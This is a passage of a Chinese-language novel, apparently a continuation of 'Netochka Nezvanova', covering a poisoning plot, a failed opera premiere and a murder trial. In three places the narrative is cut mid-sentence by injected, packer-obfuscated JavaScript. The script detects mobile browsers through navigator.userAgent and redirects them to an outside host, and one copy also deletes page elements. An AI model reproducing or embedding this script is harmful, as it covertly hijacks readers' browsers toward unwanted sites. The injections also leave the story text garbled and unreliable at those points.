“怎么会。”卡佳冷笑了一声,在床边坐下,“不过,那个法国女人倒是很快都说出来了。她承认在彼得·阿列克桑德罗维奇的指使下在阿列克桑德拉·米哈伊洛夫娜的甜点里下毒,已经持续三个多月了。阿列克桑德拉·米哈伊洛夫娜前段时间情绪不稳定,时而兴奋时而抑郁都和慢性中毒有关。要不是这次意外坠马,阿列克桑德拉·米哈伊洛夫娜半年后就会因为慢性中毒而无声无息地死掉。” “阿列克桑德拉·米哈伊洛夫娜现在在哪?醒了吗?” “别担心。我已经把她接到家里来了,请了好的医生给她医治。等你好些了,我带你去看她。” “我想现在就去看看她。” “不行,你乖乖躺好!”卡佳用命令的语气对我说,表情却有些委屈无助,“你以后不要再让我担心了。” 我从没见过她这副样子。我既感到一丝欢喜,又内疚的要命。 “那天你怎么会出现在彼得·阿列克桑德罗维奇的书房?”我问。 “我回到家,发现你不在家,就立马赶到了他那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129310|164384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。就这么简单。” “你怎么知道我会去那?” “你很热衷这种牺牲自己、充当英雄的事呢!”卡佳白了我一眼,“还记得小时候你替我顶罪的事吗?我是说,把法斯塔夫放到楼上那件事。你被关了好几个小时的禁闭呢!” “你还记得那件事。” “一清二楚。”她小声说道。 “卡佳,对不起。” “好了好了,不要再对不起了!反正受伤的又不是我。”她不耐烦地嘀咕道。 因为我受伤的缘故,卡佳推迟了回莫斯科的计划。我也由于身体原因暂停了所有演出活动。 医生给阿列克桑德拉·米哈伊洛夫娜开了解毒活血的药,她的脸色看上去好了些,只是由于头部损伤还没有醒来。我和卡佳每天轮流去她的房间同她说会儿话,希望她能听见。 彼得·阿列克桑德罗维奇被逮捕了。虽然他动用了很多社会关系来保释自己,但由于公爵对此事非常生气,据说还因此吐血了,闹了不小的影响,彼得·阿列克桑德罗维奇所面临的情势严峻。 夏天要到了。彼得堡的夏天浪漫而短暂。这里有太阳的日子太少,所以人们总是拼命抓紧稍纵即逝的日光。我、卡佳、阿列克桑德拉·米哈伊洛夫娜住在一处,这些日子我感到了前所未有的幸福。 我喜欢每天晚上躺在花园的吊床上,捧着一本未读过的小说,时而翻读几页,时而发发呆。 九点钟天还大亮着,花园里安安静静的。卡佳躺在我旁边,怀抱着一只小狗。小狗顽皮,呆了一会儿便哼哼唧唧地要去别处玩。女仆端来水果和甜点,卡佳塞给我一颗葡萄,我替给她一片苹果。她躺得不老实,脚不时碰到我的身体。时值正夏,她的脚却是凉的。我给她盖上毯子,她听话地把脚缩进毯子里。 小狗在花丛里和蚂蚱玩累了又回到了主人的怀抱。卡佳没有睁眼,只是轻轻搂住小狗,摸了摸它毛茸茸的脑袋。很快,卡佳和小狗都睡着了。头顶的树叶被夜晚的风吹的沙沙作响。我一扭头,卡佳怀里的小狗头顶落了一只白色的蝴蝶。而我身旁穿着白色睡衣的卡佳在梦中嘴角微扬。 那一瞬间,我感受到了传说中的幸福到要死掉的感觉。 9. 第16章 我头上的伤在慢慢恢复。我能感觉到每一寸新长的皮肤,每一根新生的头发,它们都在提醒我蕴含在身体里的强大的生命力。 卡佳不知从哪里带回来一条巴掌大的小金鱼,装在一口不大的鱼缸里送给了我。小金鱼背鳍上有一处伤口。卡佳说,让小金鱼陪我一起养病,等它好了,我也好了。 我没事时便趴在鱼缸前看着小金鱼。它让我想起了我小时候养过的一条小金鱼。那条小金鱼生活在一个不大的旧玻璃缸里。它看上去很普通,甚至有点傻。我养的很粗糙,想起来了便去看看它,给它丢点食物。对于一个孩子来说,它是廉价的生命、可有可无的玩具。我没想过它能活多久,但它就在那样恶劣的环境里生活了许久。 后来,它死了,我没有多伤心,把它捞了起来看了几眼便丢到了树下。可是,从那之后我只要看见其他的金鱼总能想起来它。 眼前的这只小金鱼初来的时候总是张着嘴巴大口大口地呼吸,我担心它缺氧,连忙给它换了一口更大的鱼缸,里面放了些水草。搬到大鱼缸的小金鱼看上去并没有更舒展,反而有些受惊的样子。 卡佳安慰我说,让它自己缓缓就好了。我提心吊胆地等了几天,果然,小金鱼慢慢适应了新环境,就在新鱼缸里来去自如了。 公爵府的花园里樱桃树结出了鲜红圆润的果实。卡佳带着女仆娜塔莉娅在花园里采摘。我坐在不远处的秋千上看着她们。 “樱桃树不高,倒是结出这么多果实。”卡佳像个新奇的孩子在樱桃树下左顾右盼。 “小姐,您是第一次摘樱桃吧?”娜塔莉娅问。 “是。” “您摘的时候连着梗一起摘,这样明年还能长出樱桃来。” “可是这么多樱桃我们吃不完怎么办?会不会很浪费?” “吃不完可以制成樱桃酒。”女仆答。 “涅朵奇卡,我们一起学做樱桃酒吧。”卡佳兴奋地回过头,朝我喊道。 “好,你想什么时候做?” “就明天。” 她朝我跑来,挨着我坐下,身上还带着樱桃的新鲜气息。她从怀里的篮子中将樱桃一颗一颗取出,送入口中。吃够了,便挑了一颗捧在手心端详着。 “你看,樱桃软软的,多汁,透着血一样的红润,像少女的嘴唇,还像……” “还像什么?”我问。 卡佳神秘地笑了下,没有回答。她摆动双腿轻轻晃动着秋千。 “涅朵奇卡,我还是更喜欢彼得堡。你瞧,彼得堡的夏天多么美啊。” “莫斯科不好吗?” “好,可彼得堡才是我的故乡。”说着说着,她垂下了脑袋,“我很快就要回莫斯科了。妈妈已经写了好几封信催我了。” “什么时候走?” “就这两天吧。” 离别的夜晚很快就到来了。我和她躺在她房间那张小时候一起躺过的床上。我感到无限的幸福,虽然明知道过了今夜我又会陷入对她无限的思念之中。而我此刻越幸福,思念的深渊就将把我吞噬的越严重。 “涅朵奇卡,还记得我们的第一次分别吗?那时候我刚到莫斯科,每天总是想起你。” “我也是。那段时间我几乎每天都会梦到你。我告诉自己不要再梦见你了,否则早晨醒来的时候发现你不在身边就会更难过。但我还是控制不住地梦到你。” “你的梦里我们都在干什么?” “一起吃饭、睡觉,一起玩,偶尔也会吵架。对了,我们还去了一些从来没有去过的地方,好像在亚洲,我们还一起骑了骆驼,记不太清了。” “就只有这些?” “嗯。” “我的梦里我们一起做的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我身体微颤,睁开双眼。转头看卡佳已经闭上了眼睛,好似进入了梦乡,她停在我心脏处的手还搭在原处。 我轻轻放下她的手,道了句“晚安”。 第二天一早,我的公爵小姐就会乘着黎明的薄雾,再次与我别离。 10. 第17章 我在音乐学院学习时的老师Д,也是最初领我登上彼得堡歌剧院的恩人,后来一直兼任着我的演出经理人。我生病期间,Д来看望过我多次,他暗示我歌剧届人才辈出,我应该趁着事业上升期尽快回归舞台。 我接受了Д的意见,开始积极为复出做准备。在此期间,我收到了一个匿名包裹,里面是几份歌剧剧本,署名只有一个字母Ж。 我粗略地看完这些剧本发现,Ж的作品有很与众不同的地方:不同于当下流行的浪漫题材作品,Ж的剧本充满了悬疑色彩;而且不同于大部分为情所困、软弱、值得同情的女主角,Ж的女主角独立、刚强、充满智慧。 其中一部叫做《索菲亚》的作品尤其引起了我的注意。《索菲亚》讲述了一名原本困于家庭的女子在经历了丈夫的出轨、谋杀后,亲手设计将丈夫送进了监狱,后来机缘巧合投身演艺事业,重启人生的故事。 我兴奋地将这些剧本拿给了Д看,Д冷静地指出了利弊。他认为与Ж合作可能意味着新的转变,但同时也是巨大的挑战。很难说观众会不会为这种新的题材买单,毕竟观众的喜好很难判断。一旦失败,就是对我已积累名气的折损。 Д劝我好好考虑,但对《索菲亚》的喜爱让我决定一试。 我很快给Ж回信,希望可以见面谈一谈合作。但Ж以身体不好为由婉拒了,只说写信交流即可。我只好带着剧本来到了彼得堡歌剧院。 剧院经理对于我的复出深感欣慰。对于我提出的想演新剧本的要求,他并没有反对,只说我能登台就行,只要我一登台他就能赚钱。 剧院经理积极地找来了资深导演索科洛夫及指挥列别捷夫前来商讨剧本。索科洛夫一开始有些犹豫,但最后还是同意了。主创人员商讨了几个回合后,很快便定下了公演计划。 公演日子不断逼近,我需要短时间内记乐谱、记对白、同乐队合练,每天泡在剧院的时间很长。我对新作品的期待很高。索菲亚的人生既让我想到了阿列克桑德拉·米哈伊洛夫娜,又让我想到了自己。每次排练我都感觉自己全身心地融入了角色的生命之中。 彼得堡歌剧院一早就刊登了海报。听剧院经理说,票一经发售很快就售罄了,虽然大部分观众还是因为我的名字,而不是因为新作品而买的票。这样一来,我的压力就更大了。我没办法像有些同行(或者,按照他们给自己的定位——“纯粹的艺术家”)那样,只顾表演,完全不关注上座率和观众的回馈。我认为艺术家应该对观众负责。 在一个一半乌云一半星的夜晚,《索菲亚》迎来了自己的首演。 演出开始前半小时,演员们完成换装,乐手在后台简单试音,陆续登台。演出开始前十五分钟,歌剧总指挥列别捷夫走上台,这是一位身材魁梧、目光严肃、头发和胡子都打理的一丝不苟的艺术家,他对音乐品质有着严苛的标准。 随着序曲的开始,包厢里醉心于社交的贵族名流们逐渐安静下来。《索菲亚》一开始就已经显示出和其他歌剧不同的特点:序曲旋律快而紧张,和弦进行强而有力,高低音对比明显,不和谐音的使用制造了紧张感和不稳定性,长笛的使用增强了神秘的气氛。 序曲结束,我穿着一身黑衣上台。登上舞台的那一刻,先前由于演出的不确定性所带来的紧张都消失了。那一刻,我就是索菲亚。 然而,整个表演过程中,台下的反应并不像以前那样热烈。上半场结束时,观众的掌声稀稀落落,甚至有小部分人“嘘”了几声后离席。指挥列别捷夫示意我不要关注台下,专心表演。 下半场演出结束,舞台大幕在一首轻快的、充满想象的幻想曲中落下。经历了长达三个多小时的演出,我终于长长地舒了一口气。 此时,按照以前的惯例已经全场响起“bravo”的喝彩声,但今天终场落幕时观众的反应却很冷淡,坐席上议论纷纷。 大幕再次拉起,所有演员上前谢幕。 谢幕一直是我很喜欢的环节。带着今后不知能否再见面的心情望向彼此——演员在台上鞠躬、致意,带着无限的荣耀和充满生命力的喜悦,观众在台下鼓掌、欢呼,带着感动、回味以及短暂参与了他人人生的怅然若失。那一刻,所有演员同行异常团结,现实里的隔阂、猜忌暂时消失了,所有人手牵着手,仿佛在极力弥补剧中被命运之手分开的遗憾。 幕布即是戏剧与现实的分界:幕起我可以是任何角色,歌唱着不同的人生;幕落,我回到了我自己。 可今晚的谢幕却略显尴尬。演员和观众们面面相觑,彼此都有些无所适从。没有往常的三次或多次谢幕,一次谢幕后,大伙儿便退回了后台。 已经接近凌晨了,后台十分拥挤。但大部分演员只是在默默换衣服、卸妆,几乎没有闲谈。 剧院经理鲍里斯·亚历山大罗维奇大步流星地走了进来。这是一位快活的中年男人,个头不高,身材略胖,成日穿着一件米黄色格子西装。鲍里斯·亚历山大罗维奇把对金钱的喜爱写在脸上,眼神中时刻透着一股精明气。能让剧院赚钱的剧会被他捧到天上去,而让剧院亏损的剧很快就会被他从名单上划去。 “各位今晚辛苦了!”鲍里斯·亚历山大罗维奇勉强对大伙儿挤出一抹笑说道。 见其他人没有什么回应,他尴尬地望向我和列别捷夫,“尤其是您二位——亲爱的安娜·格里高利耶夫娜,今晚的观众可都是冲着您来的,无论如何,今晚的票钱可是赚了不少呢。还有您,米哈伊尔·谢尔盖耶维奇,整场音乐都美妙极了,您的水准还是一如既往的高!” “得了吧,鲍里斯·亚历山大罗维奇,别说客气话了。咱们觉得好有什么用呢?观众不买单呐!很明显,今晚的首演算不上成功。”扮演索菲亚丈夫的男高音歌唱家亚历山大·彼德洛维奇抱怨道。 “我觉得咱们的演出没什么问题,虽然排练时间不长,但在米哈伊尔·谢尔盖耶维奇的指挥下,乐队和歌手配合极好。尤其是‘索菲亚’最后一段咏叹调简直美妙极了!观众欣赏不来是他们的问题!”小提琴手显得有些忿忿不平。 “你们都找错重点了!音乐是没问题,观众不满意的是剧本。很明显,他们习惯了那些歌颂爱情的古典歌剧,这种新颖的题材令他们一时无法消化。看来下次接剧本要更谨慎一些,不要轻易尝试这些新东西。我导了十几年《费加罗的婚礼》从没出现过什么岔子。这下可好,白白坏了名声!”导演索科洛夫扼腕叹息道。 “德米特里·巴甫洛维奇,您说得太对啦!还是传统的东西好呀!作为剧院经理,我不是不想创新,只是新东西有风险,一不小心就会赔钱!不过大家不要气馁,以后咱们老老实实演受观众欢迎的剧,这事儿很快就能过去啦!” “没那么简单。明天戏报上就会出各种评论。那些评论家天天闲的没事,就等着这样的时刻好好羞辱人呢!”索科罗夫闷声说道。 “各位,”我站起身面向大家,“今晚的演出我应该负有主要责任。毕竟,《索菲亚》的剧本是我推荐的。但我不认为我们今晚的演出是失败的。是有这种情况,观众不能理解剧本和音乐,但我们不应该因此否认自己。” “那你以后自己演吧!我是坚决不导了。”索科洛夫不耐烦地打断道。 “德米特里·巴甫洛维奇,”严肃了一天的指挥列别捷夫这会儿眉头反而舒展了些,“您既然不喜欢这部作品,一开始就不应该接手。现在演完了在这抱怨算是怎么回事?想必您心里早已打好算盘了吧?若是首演成功,您功不可没;若是失败,您就把责任推到别人身上。” “您…您这是说的什么话?”索科洛夫反驳道。 “好了,好了!”剧院经理鲍里斯·亚历山大罗维奇连忙摆摆手,“各位,《索菲亚》以后不排了!我只坚持一个原则:出票率和上座率决定一切。剧院是要赚钱的,我不做赔钱的买卖。好在今晚赚钱了,既然反响不好就及时止损。各位别聚在这了,回去休息吧。” “鲍里斯·亚历山大罗维奇,您不是一早就准备了庆功宴吗?怎么,现在不打算让大伙儿过去了?” “这…我看大家都累了吧?而且,今晚有什么可庆祝的呢?”鲍里斯·亚历山大罗维奇讪笑着小声说道。 “鲍里斯·亚历山大罗维奇,有上好的白兰地和莱茵葡萄酒吗?您可别拿“纽依”糊弄我们!”大提琴手嚷嚷道。 “去年冬天在莫斯科举办庆功会,您还拿变黄的牡蛎搪塞我们呢!”卸了一半妆的女中音不满地说道。 大伙儿一向知道剧院经理抠门,加上此刻心情不好便故意挑起让他难堪的话题。 “算了算了,请吧各位。”剧院经理不情愿地应道。 “庆祝宴”在隔壁的大化妆间里举行。几张方桌子被拼成一个长桌,上面摆着白兰地、伏特加以及各种冷荤菜和香肠。 有了酒,男演员和乐手们很快就忘记了今晚演出带来的不愉快。酒过一巡,我便找了个角落的位置坐下。长时间的排练及演出相当消耗体力。不一会儿,列别捷夫端着红酒杯走了过来,在我旁边坐下。 “心情不好?”他轻摇着酒杯问。 “有点。” “说实在的,您有段时间没唱了,我本来有些担心您的状态,但今晚您的表现简直棒极了!” “谢谢您的安慰,可演出还是不尽人意。” “您知道吗,世界上有过不少首演失败但后来又大获成功的杰作呢。譬如《费贷里奥》、《茶花女》。而我们的《索菲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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还有一份评论更加辛锐:“《索菲亚》是一个彻底虚构、臆想的故事,没有任何现实意义,如此失败的创作实属少数。这样的作品出现在彼得堡歌剧院的舞台上实在令人震惊。” 只有《新时代》的编辑给了比较温和的评论,该报纸认为,“歌剧《索菲亚》在音乐上有一定创新,并试图在剧情上做出不同于传统歌剧的突破,即便一时无法符合现场的欣赏心态,并不能由此断定这是一部失败的作品。” 我放下报纸,苦闷地思考了一会儿,决定出门转转。 我沿着涅瓦河畔走着,街景和往日并没什么不同,但从我眼里看过去却显得混乱、无序。河边坐着几个钓鱼的男人,身旁放着几个脏兮兮的酒瓶子。 我漫无目的地走了大半天,找了个河边的小饭馆坐着。隔壁包厢传来几个男男女女的笑声和交谈声。 “尼古拉·亚历山大罗维奇,您昨天真的去了剧院吗?” “没错。” “听说现场‘嘘’声一片,不少人看到一半就离开了?” “可不是嘛!从未见过如此糟糕的情况。” “女主角不是那个有名的女高音吗?” “那又怎样?她以前的演出时是多么可爱啊!昨天我都快不认识她了。” “听说她演了一个对丈夫有罪的女人。” “哦!多么可怕!”一个女人惊叫道。 “瞧瞧现在的社会风气都变成什么样啦!居然都明目张胆地上演这种不伦不类的剧了!以前崇尚古典主歌剧的时代去哪了?” “说到底还是社会对女人的规训不如从前了。女人就应该呆在家里。您瞧瞧吧,现在出来工作的女人有几个正经的?” “不是歌女、演员,就是下等的女仆、洗衣工,再不然就是……哎呀!有尊贵的女士在场,不说这些啦!对了,娜塔莉娅·亚历山德罗夫娜,我上次给您带的波斯丝绸您还喜欢吗?” 隔壁开始谈论一些布料珠宝类的话题。我把杯子里的葡萄酒一饮而尽,离开了小饭馆。 我继续无精打采地走在涅瓦河边。令我烦心的并不是刚刚听到的评价。成名以后,我的虚荣心得到了充分的满足。但成名带来的不仅是鲜花与掌声,还有各种负面评论和流言蜚语。当这所有的一切积累到一定程度时,大脑开始对外界的声音麻木。 我想不起来究竟是从哪一刻起,我才真正开始对周围的一切不那么在乎,不在乎他人的评价与眼光,不在乎自己是否被很多人喜爱。总之,如果说成名带来了什么好处的话,那么其中重要的一条便是让我走出了儿时的怪圈——我不再渴求他人的认可。 我感到沮丧的是观众并不能接受并理解这样一出新颖的、有突破性的作品。 除此之外,令我烦心的还有另外一件事——彼得·阿列克桑德罗维奇的庭审很快就开始了。听说他找了本城最有名的辩护律师。公爵和卡佳本来坚持要来参加庭审,但卡佳突然来信说公爵前些天旧疾复发,现在身体状态极差,受不住长途奔波,她也不得不留在父亲身边照顾,因此二人都无法前来。 我会作为控方证人出席庭审,然而我还并没有想好要说什么,大脑一片混乱。 11. 第18章 彼得·阿列克桑德罗维奇案开庭当天我才发现,原来这个案子引起了如此广泛的关注——审讯开始前法庭门口已经挤满了人。普通市民占了多数,贵族们似乎更乐于在报纸上读这类新闻,充满汗臭味的庭审现场他们并不愿意亲自来。 到场的男士们凑在一起讨论该案件的法律及社会意义,女士们则多对阿列克桑德拉·米哈伊洛夫娜的婚姻生活及悲惨命运感兴趣,当然,也有人对那段“婚外情”议论纷纷。 辩方律师科兹洛夫的到来令所有人瞬间压低了声音。这位个头不高、镜片后的眼神总是专注投入的律师以擅长为“凶手”、“恶人”做辩护而闻名。科兹洛夫曾经赢过的案子包括前年震惊全俄的弑父案、去年那起臭名昭著的抢劫案。 据说,科兹洛夫因为这些案子赚了不少钱,即使现在收手他的钱也够后半辈子用了。人们一边骂他昧着良心做事,一边又对他充满恐惧,仿佛这个人有着被魔鬼眷顾的特殊法力。 十点钟,审判长、两名法官以及陪审团的所有成员到齐。审判长宣布开庭审理四等文官彼得·阿列克桑德罗维奇·尼古拉耶夫试图谋杀妻子一案。法警把被告带上法庭。所有人屏住呼吸,目光聚集在彼得·阿列克桑德罗维奇身上。 彼得·阿列克桑德罗维奇身穿一件旧白衬衫,胡子没刮,目光看上去很深沉。他试图一开场就给所有人留下谦卑低调的印象。坐在他旁边的是辩护人科兹洛夫,一副极其冷静又充满信心的模样。 审判长开始向彼得·阿列克桑德罗维奇做出最初的提问,主要是被告人的基本信息。接着宣读了被传到庭的证人名单。令所有人意外的是,彼得·阿列克桑德罗维奇的姘头——法国女人卡米尔开庭前没多久居然自杀了! 审判长宣告这一消息的时候,大厅里引起了一小阵骚动。很明显,这个突发事件会影响到公众原先猜测的审判结果。我自己也深感震惊,同时觉得有些蹊跷。我暗中观察着彼得·阿列克桑德罗维奇,他的嘴角隐秘地上扬了一下。 审判长提醒公众注意法庭秩序。接着,法庭书记员宣读公诉状。公诉状详细地交代了为何要抓捕被告人,被告人被指控的具体行为以及相关的证据等。 公诉状宣读完毕,审判长严肃地大声问彼得·阿列克桑德罗维奇:“被告,你承认自己有罪吗?” 彼得·阿列克桑德罗维奇不慌不忙地从座位上站起来,答道:“我承认自己在他人挑唆下对自己妻子产生过不好的想法,但一切都出于我太爱她了,忍受不了她的出轨。至于投毒一事——我既不是主要策划人,也不是实施者。如您所见,真正的凶手卡米尔已经畏罪自杀了。” 彼得·阿列克桑德罗维奇声音低沉有力,说完之后便淡定地在被告席上坐下。公众席上再次哗然。很显然,这个案子一开始便由于重要在场人——卡米尔的死亡以及被告人狡猾地说辞呈现出扑朔迷离的趋势。 审判长再次提醒公众注意法庭秩序,然后命令进行法庭调查。控方证人和辩方证人被分成两组,按照事先拟定好的顺序逐一审讯。我作为重要证人被要求在庭内候审。 家里的仆人、马夫、彼得·阿列克桑德罗维奇的秘书被一一带上来发表证词。这些人的发言大多含糊其词、模棱两可,以至于说了半天对案件的审理并没有什么推进。 轮到我作为控方证人发表证词了。由于我特殊的社会身份,当我从座椅上站起来的时候,公众席发出一阵窸窸窣窣的声音。 我详细诉说了阿列克桑德拉·米哈伊洛夫娜这些年因为那封信所受的精神折磨以及彼得·阿列克桑德罗维奇的卑鄙、最后一次同阿列克桑德拉·米哈伊洛夫娜在马场见面时她的身体及精神状态、阿列克桑德拉·米哈伊洛夫娜出事后彼得·阿列克桑德罗维奇拒绝别的医生为妻子诊治的事实以及在书房里听到的彼得·阿列克桑德罗维奇对妻子实施的阴谋。 显然,我的证词引起了审判长及听众极大的关注及兴趣。当我结束自己的发言时,现场一片寂静。辩护人科兹洛夫在我发言的时候拿着笔,不停在纸上记录着什么。我刚一坐下,他便高高举起右手。审判长准许他对我进行提问。 听众露出好奇的神情,他们能感觉到科兹洛夫大展身手的时刻要来了。 “您诉说小时候在走廊上看见彼得·阿列克桑德罗维在镜子前发笑,然后进入妻子的房间前又故意做出忧戚沉重的神情。请问,您要用这样一个模糊的感觉来断定彼得·阿列克桑德罗维奇对妻子进行了精神控制以及他们二人之间没有感情的事实吗?” “他对阿列克桑德拉·米哈伊洛夫娜进行精神控制是事实。他们的每一次谈话彼得·阿列克桑德罗维奇都在试图对妻子进行打压、奴役。阿列克桑德拉·米哈伊洛夫娜这些年的身体及精神状态都很不好,她贴身仆人及医生都可以作证。” “阿列克桑德拉·米哈伊洛夫娜的身体及精神状态不好有没有可能是出于对情人的想念以及对自己婚姻的愧疚?人的内心是极其主观的,外人所看见的一切只能算作猜测。而且,我想请问您‘见证’这一切的时候多大呢?” 科兹洛夫特意讽刺地强调了“见证”二字。 “从我来到阿列克桑德拉·米哈伊洛夫娜家起我就目睹着这一切卑鄙的发生。” “据我所知,您小时候经常患有一种热病,这种病症的特征是不停地流汗、人会陷入谵妄性狂躁以及意识不清。请问您怎么能证实您所看到的一切不是出自您的想象呢?” “我小时候是偶尔会发病,但我的意识始终是清醒的!” “可您无法证明。” “可笑!难道每个人还要去医生那开证明来证实自己的意识是清醒的吗?” “我无意质疑您的精神及意识状态,只是您的证词中有值得推敲的部分。” 科兹洛夫言语冷静。我这才意识到他的可怕之处。 “我还有一个问题,”他一只手拿着笔,继续盯着自己的笔记本,“您说被告和法国女人卡米尔在书房密谋谋杀计划被您撞破后,恼羞成怒朝您开了一枪。” “没错。” 我摘下帽子,散开头发,露出头顶的伤疤。现场所有的目光都投到了我的身上。 “请问被告朝您开枪前您是否和他有过激烈的言语冲突?” “有,我骂了这对奸夫□□。” “那么您是如何判断被告是因为‘密谋什么计划’被您撞破还是因为您私自潜入他人住宅窃听他人隐私深感气愤而朝您开枪的呢?” “他朝我开枪是因为我听到了他的谋杀计划,还看到了他和别的女人偷情!”我看着科兹洛夫冷笑了一声,“您是想把大家的注意力转移到别处吗?我是如何进入书房的?不论通过什么途径,我就是进去了,而且听到了彼得·阿列克桑德罗维的计划!” “那天书房里具体发生了什么,只有您、彼得·阿列克桑德罗维、卡米尔知道。而卡米尔在庭审前已经自杀了。不过,有一点我想提请各位注意,卡米尔若是真的受被告指使下毒,为什么会开庭前畏罪自杀呢?” “是你们!”我指着科兹洛夫和彼得·阿列克桑德罗维奇大声说道,“你们对卡米尔做了手脚!卑鄙小人!” “请证人注意用词。”审判长严厉地指出。 科兹洛夫宣布对我的提问结束,他一副波澜不惊的样子坐下了。 审判长问彼得·阿列克桑德罗维:“被告,对于以上证词你有什么话要说?” “我坚持一开始的说法,我对妻子一直抱有很深的感情,她的出轨令我无法接受,以至于受人挑唆差点做了极端的事情。至于我和卡米尔 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两位医生坚持说明,和彼得·阿列克桑德罗维之前并不认识,去为阿列克桑德拉·米哈伊洛夫娜诊治时是双方的第一次见面。 莫斯科的名医发表了不同的看法。他是在彼得·阿列克桑德罗维被逮捕后,也就是得知阿列克桑德拉·米哈伊洛夫娜连续食用了含有微量汞元素的食物之后去为她诊治的。但他认为即使不提前知道这一事实,他也能看出来患者身上的中毒特征——不仅是由于手臂上的划痕,还因为患者的口周症状及神经系统症状。他气愤地表明前两位同仁之所以有以上说辞要么是由于不专业,要么是想要包庇被告人。 莫斯科名医结束发言后,辩护人申请提问。 “弗拉基米尔·格里高利耶维奇,请问您一共去过几次阿列克桑德拉·米哈伊洛夫娜家?” “四次。” “如果我没记错的话,您第一次去的时候,并未被邀请进门。请问您是否因此对被告人心怀芥蒂?” “不至于。但我当时连夜从莫斯科赶来,而彼得·阿列克桑德罗维却拒绝让我进去为阿列克桑德拉·米哈伊洛夫娜诊治,这事的确可疑。” “据我所知,您和X公爵,也就是阿列克桑德拉·米哈伊洛夫娜的继父交往甚深。请问您是否因此在刚才的论述过程中因夹杂私人感情而有失客观?” “您…您这是血口喷人,倒打一耙!” 这位年近七十,名声一向清白的老医生激动地指着辩护人,科兹洛夫却抖动了下眉毛坐下了。 “被告,你当时为何不让弗拉基米尔·格里高利耶维奇进去为阿列克桑德拉·米哈伊洛夫娜诊治?是否因为害怕他发现阿列克桑德拉·米哈伊洛夫娜的身体中毒的迹象?”审判长问被告。 “是。”彼得·阿列克桑德罗维站起来,一副坦荡的样子,“卡米尔害怕事情败露,想要借机杀掉阿列克桑德拉·米哈伊洛夫娜。让更多的医生来给阿列克桑德拉·米哈伊洛夫娜诊治只会进一步激怒卡米尔。阿列克桑德拉·米哈伊洛夫娜坠马昏迷后我意识到自己还是爱她的,我不想让她死,所以我在尽力想办法阻止卡米尔。” “撒谎!你只是想拖延时间得到公爵遗嘱上留给阿列克桑德拉·米哈伊洛夫娜的财产!”我站起来大声说道。 “那只不过是我暂时稳住卡米尔的话术罢了。再说了,尊敬的审判长大人,您仔细想想便知,我怎么会知道公爵的遗嘱上会有什么内容呢?” 公众席上又开始窃窃私语。一开始坚信彼得·阿列克桑德罗维有罪的民众此刻似乎又有了一丝迟疑。我亲眼看着事实是如何在这个号称正义之地的大厅里被扭曲、歪解,却无能为力。 法庭调查结束后审判长宣布休庭。不知过了一小时还是更久,审判长终于宣布法庭辩论开始。 12. 第19章 首先是公诉人的演说。这位年近四十、身材瘦小的检察官以正直而闻名。但正因为过于正直,有时不会察言观色,以至于在官场上混得不开。 整个庭审过程中都公诉人保持着异常严肃的神态。当他终于开口讲话时,群众都抬起头饶有兴趣地看着他那张瘦削凌厉的脸庞,仿佛一尊愤怒但不外显的雕像终于开口说了话。 群众们暂时忘记了当庭正审理的是一件对么恶劣可怕的案件,悄声讨论起公诉人以往流传在外的八卦。 公诉人演说过程中理智、诚恳。他虽保留着局外人的立场,但这位不曾和阿列克桑德拉·米哈伊洛夫娜有过任何交集的检察官言语中仍难掩对受害者的同情以及对其遭遇不幸的愤怒。 公诉人演说完毕,辩护人以一贯的自信开始了自己的演说。与公诉人不同的是,辩护人的演说更富有激情,仿佛他不是站在法庭之上,面对的不是审判长和陪审团,而是处于万人集会之中发表某种极其深刻的言论一样。 对于案子他采取了避重就轻的策略,他的话术很高明,巧妙地把大众的视线从一桩可怕的谋杀案件转移到一段四角恋情上,而被告在整个事件中扮演着某种可恨又无辜的角色。 其次,他开始对当今社会上存在的婚姻自由问题、婚姻制度的疏漏大谈特谈。群众们一开始抱着看戏的心态,但听着听着注意力便不自觉地被辩护人严密的诡辩吸引了过去,以至于在某些高潮时刻不自觉地点了点头。 当辩护人最终结束自己高亢的发言时,群众们甚至露出了意犹未尽的表情。 辩护人满怀深情地鞠了一躬,坐了下来。而一直憎恨地盯着辩护人的公诉人此刻又重新站了起来,他只简短地说了几句话。首先,他一针见血地指出辩护人的演说离题太远,是在故意模糊重点、混淆视听。其次,他再次强调这是一桩性质极其恶劣的刑事案件,不是民间风流故事。 辩护人再次登上讲台,以某种不屑的姿态提醒公诉人,在没有实打实的证据的情况下,最好不要危言耸听。 正当公诉人急着再次站起来反驳时,门口传来一阵骚动声。我随着众人的目光转头望去,门口站着一位一身黑衣的太太,头上戴着黑色的头纱。她的身形已经有些佝偻了,可见已经上了年纪。这位太太缓缓地摘下头纱,我这才清楚地看清她的面容。是公爵夫人! “尊敬的审判长、各位陪审员,我是阿列克桑德拉·米哈伊洛夫娜·尼古拉耶夫娜的母亲。请原谅我的冒昧闯入,我作为证人想要发表证词。” 公爵夫人介绍自己时只提到了自己的母亲身份。从她的声音可以听出她在极力抑制自己的激动情绪。 现场所有人,包括审判长,对于这样一位突然到来的证人都感到极其意外。彼得·阿列克桑德罗维和他的辩护人显然也处于惊讶与茫然之中。 审判长犹豫了片刻,最后还是允许公爵夫人上前陈述证词。 “阿列克桑德拉是我和第一任丈夫的女儿,她的父亲是个包税商,我和他结婚后聚少离多,他总是在外出差,我们的婚姻生活一直平淡如水。后来,他出轨了。在和情人私奔的路上,因为遇到海难而丧生,留下了我和阿列克桑德拉。 